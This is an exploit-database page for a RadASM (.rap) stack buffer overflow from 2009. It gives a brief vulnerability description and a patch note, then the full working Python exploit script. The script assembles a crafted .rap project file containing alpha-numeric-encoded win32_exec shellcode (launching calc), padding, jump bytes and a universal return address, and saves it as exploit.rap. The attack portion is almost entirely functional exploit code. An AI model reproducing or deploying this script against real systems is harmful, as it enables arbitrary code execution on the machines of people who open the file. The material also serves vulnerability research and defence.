Radasm (.rap) Universal buffer overflow Exploit

vendor:

Radasm (.rap)

by:

Dz_attacker

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Radasm (.rap)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Radasm (.rap) Universal buffer overflow Exploit

Radasm (.rap) Universal buffer overflow Exploit is a vulnerability in Radasm (.rap) which allows an attacker to execute arbitrary code by overflowing a buffer. The vulnerability is caused due to a boundary error when handling .rap files. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted .rap file to the affected application. Successful exploitation may allow execution of arbitrary code.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
#[+] Radasm (.rap) Universal buffer overflow Exploit
#[+] Original : http://www.exploit-db.com/exploits/11392
#[+] Exploit : Dz_attacker (dz_attacker@hotmail.fr)

header1=(
"\x5b\x50\x72\x6f\x6a\x65\x63\x74\x5d\x0d\x0a\x41\x73\x73\x65\x6d\x62\x6c\x65\x72"
"\x3d\x6d\x61\x73\x6d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x31\x0d\x0a\x47\x72\x6f\x75"
"\x70\x45\x78\x70\x61\x6e\x64\x3d\x31\x0d\x0a\x5b\x46\x69\x6c\x65\x73\x5d\x0d\x0a"
"\x31\x3d\x41\x56\x50\x20")


header2=(
"\x2e\x41\x73\x6d\x0d\x0a\x32\x3d\x41\x56\x50\x20\x4f\x76\x65\x72\x2e\x49\x6e\x63"
"\x0d\x0a\x5b\x4d\x61\x6b\x65\x46\x69\x6c\x65\x73\x5d\x0d\x0a\x30\x3d\x41\x56\x50"
"\x20\x4f\x76\x65\x72\x2e\x72\x65\x73\x0d\x0a\x5b\x4d\x61\x6b\x65\x44\x65\x66\x5d"
"\x0d\x0a\x4d\x65\x6e\x75\x3d\x30\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31"
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x0d\x0a"
"\x31\x3d\x34\x2c\x4f\x2c\x24\x42\x5c\x52\x43\x2e\x45\x58\x45\x20\x2f\x76\x2c\x31"
"\x0d\x0a\x32\x3d\x33\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45\x58\x45\x20\x2f\x63"
"\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x36\x43\x6f\x67\x6f\x20"
"\x2f\x49\x22\x24\x49\x22\x2c\x32\x0d\x0a\x33\x3d\x35\x2c\x4f\x2c\x24\x42\x5c\x4c"
"\x49\x4e\x4b\x2e\x45\x58\x45\x20\x2f\x53\x55\x42\x53\x59\x53\x54\x45\x4d\x3a\x57"
"\x49\x4e\x44\x4f\x57\x53\x20\x2f\x52\x45\x4c\x45\x41\x53\x45\x20\x2f\x56\x45\x52"
"\x53\x49\x4f\x4e\x3a\x34\x2e\x30\x20\x2f\x4c\x49\x42\x50\x41\x54\x48\x3a\x22\x24"
"\x4c\x22\x20\x2f\x4f\x55\x54\x3a\x22\x24\x35\x22\x2c\x33\x0d\x0a\x34\x3d\x30\x2c"
"\x30\x2c\x2c\x35\x0d\x0a\x35\x3d\x72\x73\x72\x63\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24"
"\x42\x5c\x43\x56\x54\x52\x45\x53\x2e\x45\x58\x45\x2c\x72\x73\x72\x63\x2e\x72\x65"
"\x73\x0d\x0a\x36\x3d\x2a\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45"
"\x58\x45\x20\x2f\x63\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x6c"
"\x6f\x67\x6f\x20\x2f\x49\x22\x24\x49\x22\x2c\x2a\x2e\x61\x73\x6d\x0d\x0a\x37\x3d"
"\x30\x2c\x30\x2c\x22\x24\x45\x5c\x4f\x6c\x6c\x79\x44\x62\x67\x22\x2c\x35\x0d\x0a"
"\x5b\x47\x72\x6f\x75\x70\x5d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x41\x64\x64\x65\x64"
"\x20\x66\x69\x6c\x65\x73\x2c\x41\x73\x73\x65\x6d\x62\x6c\x79\x2c\x52\x65\x73\x6f"
"\x75\x72\x63\x65\x73\x2c\x4d\x69\x73\x63\x2c\x4d\x6f\x64\x75\x6c\x65\x73\x0d\x0a"
"\x31\x3d\x31")

# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x43\x4b\x48\x4e\x37"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x50\x45\x57\x45\x4e\x4b\x38"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x55\x41\x53"
"\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x55\x4a\x56\x50\x57\x4a\x4d\x44\x4e\x43\x57\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x36\x43\x56\x42\x30\x5a")

buffer =  header1
buffer += "\x41"*2
buffer += shellcode
buffer += "\x41"*(1809-len(shellcode))
buffer += "\x61"*3
buffer += "\xFF\xD0"
buffer += "\xEB\xF9\x90\x90"
buffer += "\x55\x25\x40\x00"    #univ ret
buffer += header2


try:
   rap = open("exploit.rap",'w')
   rap.write(buffer)
   rap.close()
   print "Exploit file created!\n"
except:
   print "Error occured!"